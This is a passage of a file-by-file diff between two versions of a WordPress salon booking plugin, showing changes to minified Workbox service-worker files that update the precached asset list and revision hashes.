strict\";n(6368),n(9309)},9928:function(e,t,n){\"use strict\";var r=n(6198),a=n(1291),o=RangeError;e.exports=function(e,t,n,i){var l=r(e),s=a(n),u=s\u003C0?l+s:s;if(u>=l||u\u003C0)throw new o(\"Incorrect index\");for(var d=new t(l),c=0;c\u003Cl;c++)d[c]=c===u?i:e[c];return d}}}]);\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fservice-worker.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fservice-worker.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fservice-worker.js\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fservice-worker.js\t2026-04-21 18:43:56.000000000 +0000\n@@ -1 +1 @@\n-if(!self.define){let e,s={};const a=(a,n)=>(a=new URL(a+\".js\",n).href,s[a]||new Promise(s=>{if(\"document\"in self){const e=document.createElement(\"script\");e.src=a,e.onload=s,document.head.appendChild(e)}else e=a,importScripts(a),s()}).then(()=>{let e=s[a];if(!e)throw new Error(`Module ${a} didn’t register its module`);return e}));self.define=(n,i)=>{const c=e||(\"document\"in self?document.currentScript.src:\"\")||location.href;if(s[c])return;let r={};const o=e=>a(e,c),l={module:{uri:c},exports:r,require:o};s[c]=Promise.all(n.map(e=>l[e]||o(e))).then(e=>(i(...e),r))}}define([\".\u002Fworkbox-de20f98c\"],function(e){\"use strict\";e.setCacheNameDetails({prefix:\"salon-booking-plugin-pwa\"}),self.addEventListener(\"message\",e=>{e.data&&\"SKIP_WAITING\"===e.data.type&&self.skipWaiting()}),e.precacheAndRoute([{url:\"\u002F{SLN_PWA_DIST_PATH}\u002FOneSignalSDKWorker.js\",revision:\"ebb63ca15bba16b550232b0b0f66c726\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002F1.css\",revision:\"ad9d896dd61f9980b008a78270722e5d\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002F114.css\",revision:\"61e0846cddcf803f03ef02b177f622aa\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002F473.css\",revision:\"d83ecea4204e5f0f90afbbbca2dadac7\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002F63.css\",revision:\"fce05531320b98979d97ca4305aae897\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002F728.css\",revision:\"726017a12d344a19b8a1410e2f702216\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002Fapp.css\",revision:\"6cdbb513759c11cf442ae60c2d122468\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002Fchunk-vendors.css\",revision:\"86739b9274fd53e95b49abb6dab304cf\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fimg\u002Fplaceholder-image.png\",revision:\"79c916f7860857c11c4026d8655de225\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Findex.html\",revision:\"19b4890516b3d2bd7f6cb0ef89df087c\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002F1.js\",revision:\"50e932ecc52a25e740ee8d717bdee6db\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002F114.js\",revision:\"1c6d02b4df0da34ce05e6a3ebe900dd7\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002F473.js\",revision:\"3aa5dc4594ee83f9fc95ee5e51c98f3d\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002F63.js\",revision:\"5f73d1c8cc812f1618f70f7479665b4e\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002F728.js\",revision:\"d3d8c27dd0dc03e76a6c7dce5310d293\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002F905.js\",revision:\"a40fcadbf8525181b1a2951d3f96ebe3\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002Fapp.js\",revision:\"1a6b80f4dc3aa8add320cdc9de8eacbd\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002Fchunk-vendors.js\",revision:\"20b457468447ac9e8038887d9ba4b23e\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002Ffontawesome.js\",revision:\"cf854cb3bfa20a9e6bbcbb95316c868f\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fmanifest.json\",revision:\"245ca91f3937002a61960214a5a2087d\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Frobots.txt\",revision:\"b6216d61c03e6ce0c9aea6ca7808f7ca\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fversion.json\",revision:\"fbfa5988b1a5257b66a1f1fd3f57dae8\"}],{}),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Fcalendar\\\u002Fintervals\u002F.test(s.pathname),new e.CacheFirst({cacheName:\"sln-pwa-calendar-intervals\",plugins:[new e.ExpirationPlugin({maxEntries:20,maxAgeSeconds:86400}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\"),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Fapp\\\u002Fsettings\u002F.test(s.pathname),new e.CacheFirst({cacheName:\"sln-pwa-app-settings\",plugins:[new e.ExpirationPlugin({maxEntries:20,maxAgeSeconds:86400}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\"),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Favailability\\\u002Fstats\u002F.test(s.pathname),new e.StaleWhileRevalidate({cacheName:\"sln-pwa-availability-stats\",plugins:[new e.ExpirationPlugin({maxEntries:40,maxAgeSeconds:300}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\"),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Fbookings$\u002F.test(s.pathname),new e.NetworkFirst({cacheName:\"sln-pwa-bookings-list\",networkTimeoutSeconds:30,plugins:[new e.ExpirationPlugin({maxEntries:30,maxAgeSeconds:120}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\"),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Fholiday-rules\u002F.test(s.pathname),new e.NetworkFirst({cacheName:\"sln-pwa-holiday-rules\",networkTimeoutSeconds:30,plugins:[new e.ExpirationPlugin({maxEntries:40,maxAgeSeconds:300}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\")});\n+if(!self.define){let e,s={};const n=(n,a)=>(n=new URL(n+\".js\",a).href,s[n]||new Promise(s=>{if(\"document\"in self){const e=document.createElement(\"script\");e.src=n,e.onload=s,document.head.appendChild(e)}else e=n,importScripts(n),s()}).then(()=>{let e=s[n];if(!e)throw new Error(`Module ${n} didn’t register its module`);return e}));self.define=(a,i)=>{const c=e||(\"document\"in self?document.currentScript.src:\"\")||location.href;if(s[c])return;let r={};const o=e=>n(e,c),d={module:{uri:c},exports:r,require:o};s[c]=Promise.all(a.map(e=>d[e]||o(e))).then(e=>(i(...e),r))}}define([\".\u002Fworkbox-de20f98c\"],function(e){\"use strict\";e.setCacheNameDetails({prefix:\"salon-booking-plugin-pwa\"}),self.addEventListener(\"message\",e=>{e.data&&\"SKIP_WAITING\"===e.data.type&&self.skipWaiting()}),e.precacheAndRoute([{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002FOneSignalSDKWorker.js\",revision:\"ebb63ca15bba16b550232b0b0f66c726\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fcss\u002F114.css\",revision:\"17a7f7e34fb466ec10fddfdaeea4dada\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fcss\u002F128.css\",revision:\"02738eafce22c4351795368cdbad13e6\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fcss\u002F389.css\",revision:\"af3512909ad76bc5d07d23ea9609527b\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fcss\u002F728.css\",revision:\"726017a12d344a19b8a1410e2f702216\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fcss\u002F92.css\",revision:\"3b96dcf8d5f5a0d46c10dfbea57d5577\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fcss\u002Fapp.css\",revision:\"6cdbb513759c11cf442ae60c2d122468\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fcss\u002Fchunk-vendors.css\",revision:\"86739b9274fd53e95b49abb6dab304cf\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fimg\u002Fplaceholder-image.png\",revision:\"79c916f7860857c11c4026d8655de225\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Findex.html\",revision:\"19b4890516b3d2bd7f6cb0ef89df087c\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002F114.js\",revision:\"cf228c20247517473a631da59200a0a4\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002F128.js\",revision:\"b75fe2708d837183f35c01f046334526\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002F389.js\",revision:\"37508662a877e57f787078d194d8a9c1\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002F728.js\",revision:\"d3d8c27dd0dc03e76a6c7dce5310d293\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002F905.js\",revision:\"7997e85e88742c0d23d2d203fd2ff72f\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002F92.js\",revision:\"9abb85d170d3fddc95cadbbdd7589086\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002Fapp.js\",revision:\"e79df2e459c6c2a8d7cc6b6ff854f3a9\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002Fchunk-vendors.js\",revision:\"2fa63da11cd19ddee866571bdd9ce691\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002Ffontawesome.js\",revision:\"cf854cb3bfa20a9e6bbcbb95316c868f\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fmanifest.json\",revision:\"245ca91f3937002a61960214a5a2087d\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Frobots.txt\",revision:\"b6216d61c03e6ce0c9aea6ca7808f7ca\"},{url:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fversion.json\",revision:\"d92c7b7c32810fafd0b2af855ef08638\"}],{}),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Fcalendar\\\u002Fintervals\u002F.test(s.pathname),new e.CacheFirst({cacheName:\"sln-pwa-calendar-intervals\",plugins:[new e.ExpirationPlugin({maxEntries:20,maxAgeSeconds:86400}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\"),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Fapp\\\u002Fsettings\u002F.test(s.pathname),new e.CacheFirst({cacheName:\"sln-pwa-app-settings\",plugins:[new e.ExpirationPlugin({maxEntries:20,maxAgeSeconds:86400}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\"),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Favailability\\\u002Fstats\u002F.test(s.pathname),new e.StaleWhileRevalidate({cacheName:\"sln-pwa-availability-stats\",plugins:[new e.ExpirationPlugin({maxEntries:40,maxAgeSeconds:300}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\"),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Fbookings$\u002F.test(s.pathname),new e.NetworkFirst({cacheName:\"sln-pwa-bookings-list\",networkTimeoutSeconds:30,plugins:[new e.ExpirationPlugin({maxEntries:30,maxAgeSeconds:120}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\"),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Fholiday-rules\u002F.test(s.pathname),new e.NetworkFirst({cacheName:\"sln-pwa-holiday-rules\",networkTimeoutSeconds:30,plugins:[new e.ExpirationPlugin({maxEntries:40,maxAgeSeconds:300}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\")});\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fservice-worker.template.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fservice-worker.template.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fservice-worker.template.js\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fservice-worker.template.js\t2026-04-21 18:43:56.000000000 +0000\n@@ -1 +1 @@\n-if(!self.define){let e,s={};const a=(a,n)=>(a=new URL(a+\".js\",n).href,s[a]||new Promise(s=>{if(\"document\"in self){const e=document.createElement(\"script\");e.src=a,e.onload=s,document.head.appendChild(e)}else e=a,importScripts(a),s()}).then(()=>{let e=s[a];if(!e)throw new Error(`Module ${a} didn’t register its module`);return e}));self.define=(n,i)=>{const c=e||(\"document\"in self?document.currentScript.src:\"\")||location.href;if(s[c])return;let r={};const o=e=>a(e,c),l={module:{uri:c},exports:r,require:o};s[c]=Promise.all(n.map(e=>l[e]||o(e))).then(e=>(i(...e),r))}}define([\".\u002Fworkbox-de20f98c\"],function(e){\"use strict\";e.setCacheNameDetails({prefix:\"salon-booking-plugin-pwa\"}),self.addEventListener(\"message\",e=>{e.data&&\"SKIP_WAITING\"===e.data.type&&self.skipWaiting()}),e.precacheAndRoute([{url:\"\u002F{SLN_PWA_DIST_PATH}\u002FOneSignalSDKWorker.js\",revision:\"ebb63ca15bba16b550232b0b0f66c726\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002F1.css\",revision:\"ad9d896dd61f9980b008a78270722e5d\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002F114.css\",revision:\"61e0846cddcf803f03ef02b177f622aa\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002F473.css\",revision:\"d83ecea4204e5f0f90afbbbca2dadac7\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002F63.css\",revision:\"fce05531320b98979d97ca4305aae897\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002F728.css\",revision:\"726017a12d344a19b8a1410e2f702216\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002Fapp.css\",revision:\"6cdbb513759c11cf442ae60c2d122468\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002Fchunk-vendors.css\",revision:\"86739b9274fd53e95b49abb6dab304cf\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fimg\u002Fplaceholder-image.png\",revision:\"79c916f7860857c11c4026d8655de225\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Findex.html\",revision:\"19b4890516b3d2bd7f6cb0ef89df087c\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002F1.js\",revision:\"50e932ecc52a25e740ee8d717bdee6db\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002F114.js\",revision:\"1c6d02b4df0da34ce05e6a3ebe900dd7\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002F473.js\",revision:\"3aa5dc4594ee83f9fc95ee5e51c98f3d\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002F63.js\",revision:\"5f73d1c8cc812f1618f70f7479665b4e\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002F728.js\",revision:\"d3d8c27dd0dc03e76a6c7dce5310d293\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002F905.js\",revision:\"a40fcadbf8525181b1a2951d3f96ebe3\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002Fapp.js\",revision:\"1a6b80f4dc3aa8add320cdc9de8eacbd\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002Fchunk-vendors.js\",revision:\"20b457468447ac9e8038887d9ba4b23e\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002Ffontawesome.js\",revision:\"cf854cb3bfa20a9e6bbcbb95316c868f\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fmanifest.json\",revision:\"245ca91f3937002a61960214a5a2087d\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Frobots.txt\",revision:\"b6216d61c03e6ce0c9aea6ca7808f7ca\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fversion.json\",revision:\"fbfa5988b1a5257b66a1f1fd3f57dae8\"}],{}),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Fcalendar\\\u002Fintervals\u002F.test(s.pathname),new e.CacheFirst({cacheName:\"sln-pwa-calendar-intervals\",plugins:[new e.ExpirationPlugin({maxEntries:20,maxAgeSeconds:86400}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\"),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Fapp\\\u002Fsettings\u002F.test(s.pathname),new e.CacheFirst({cacheName:\"sln-pwa-app-settings\",plugins:[new e.ExpirationPlugin({maxEntries:20,maxAgeSeconds:86400}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\"),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Favailability\\\u002Fstats\u002F.test(s.pathname),new e.StaleWhileRevalidate({cacheName:\"sln-pwa-availability-stats\",plugins:[new e.ExpirationPlugin({maxEntries:40,maxAgeSeconds:300}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\"),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Fbookings$\u002F.test(s.pathname),new e.NetworkFirst({cacheName:\"sln-pwa-bookings-list\",networkTimeoutSeconds:30,plugins:[new e.ExpirationPlugin({maxEntries:30,maxAgeSeconds:120}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\"),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Fholiday-rules\u002F.test(s.pathname),new e.NetworkFirst({cacheName:\"sln-pwa-holiday-rules\",networkTimeoutSeconds:30,plugins:[new e.ExpirationPlugin({maxEntries:40,maxAgeSeconds:300}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\")});\n+if(!self.define){let e,s={};const n=(n,a)=>(n=new URL(n+\".js\",a).href,s[n]||new Promise(s=>{if(\"document\"in self){const e=document.createElement(\"script\");e.src=n,e.onload=s,document.head.appendChild(e)}else e=n,importScripts(n),s()}).then(()=>{let e=s[n];if(!e)throw new Error(`Module ${n} didn’t register its module`);return e}));self.define=(a,i)=>{const c=e||(\"document\"in self?document.currentScript.src:\"\")||location.href;if(s[c])return;let r={};const o=e=>n(e,c),d={module:{uri:c},exports:r,require:o};s[c]=Promise.all(a.map(e=>d[e]||o(e))).then(e=>(i(...e),r))}}define([\".\u002Fworkbox-de20f98c\"],function(e){\"use strict\";e.setCacheNameDetails({prefix:\"salon-booking-plugin-pwa\"}),self.addEventListener(\"message\",e=>{e.data&&\"SKIP_WAITING\"===e.data.type&&self.skipWaiting()}),e.precacheAndRoute([{url:\"\u002F{SLN_PWA_DIST_PATH}\u002FOneSignalSDKWorker.js\",revision:\"ebb63ca15bba16b550232b0b0f66c726\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002F114.css\",revision:\"17a7f7e34fb466ec10fddfdaeea4dada\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002F128.css\",revision:\"02738eafce22c4351795368cdbad13e6\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002F389.css\",revision:\"af3512909ad76bc5d07d23ea9609527b\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002F728.css\",revision:\"726017a12d344a19b8a1410e2f702216\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002F92.css\",revision:\"3b96dcf8d5f5a0d46c10dfbea57d5577\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002Fapp.css\",revision:\"6cdbb513759c11cf442ae60c2d122468\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002Fchunk-vendors.css\",revision:\"86739b9274fd53e95b49abb6dab304cf\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fimg\u002Fplaceholder-image.png\",revision:\"79c916f7860857c11c4026d8655de225\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Findex.html\",revision:\"19b4890516b3d2bd7f6cb0ef89df087c\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002F114.js\",revision:\"cf228c20247517473a631da59200a0a4\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002F128.js\",revision:\"b75fe2708d837183f35c01f046334526\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002F389.js\",revision:\"37508662a877e57f787078d194d8a9c1\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002F728.js\",revision:\"d3d8c27dd0dc03e76a6c7dce5310d293\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002F905.js\",revision:\"7997e85e88742c0d23d2d203fd2ff72f\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002F92.js\",revision:\"9abb85d170d3fddc95cadbbdd7589086\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002Fapp.js\",revision:\"e79df2e459c6c2a8d7cc6b6ff854f3a9\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002Fchunk-vendors.js\",revision:\"2fa63da11cd19ddee866571bdd9ce691\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002Ffontawesome.js\",revision:\"cf854cb3bfa20a9e6bbcbb95316c868f\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fmanifest.json\",revision:\"245ca91f3937002a61960214a5a2087d\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Frobots.txt\",revision:\"b6216d61c03e6ce0c9aea6ca7808f7ca\"},{url:\"\u002F{SLN_PWA_DIST_PATH}\u002Fversion.json\",revision:\"d92c7b7c32810fafd0b2af855ef08638\"}],{}),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Fcalendar\\\u002Fintervals\u002F.test(s.pathname),new e.CacheFirst({cacheName:\"sln-pwa-calendar-intervals\",plugins:[new e.ExpirationPlugin({maxEntries:20,maxAgeSeconds:86400}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\"),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Fapp\\\u002Fsettings\u002F.test(s.pathname),new e.CacheFirst({cacheName:\"sln-pwa-app-settings\",plugins:[new e.ExpirationPlugin({maxEntries:20,maxAgeSeconds:86400}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\"),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Favailability\\\u002Fstats\u002F.test(s.pathname),new e.StaleWhileRevalidate({cacheName:\"sln-pwa-availability-stats\",plugins:[new e.ExpirationPlugin({maxEntries:40,maxAgeSeconds:300}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\"),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Fbookings$\u002F.test(s.pathname),new e.NetworkFirst({cacheName:\"sln-pwa-bookings-list\",networkTimeoutSeconds:30,plugins:[new e.ExpirationPlugin({maxEntries:30,maxAgeSeconds:120}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\"),e.registerRoute(({request:e,url:s})=>\"GET\"===e.method&&\u002F\\\u002Fwp-json\\\u002Fsalon\\\u002Fapi\\\u002Fmobile\\\u002Fv1\\\u002Fholiday-rules\u002F.test(s.pathname),new e.NetworkFirst({cacheName:\"sln-pwa-holiday-rules\",networkTimeoutSeconds:30,plugins:[new e.ExpirationPlugin({maxEntries:40,maxAgeSeconds:300}),new e.CacheableResponsePlugin({statuses:[0,200]})]}),\"GET\")});\ndiff -ru 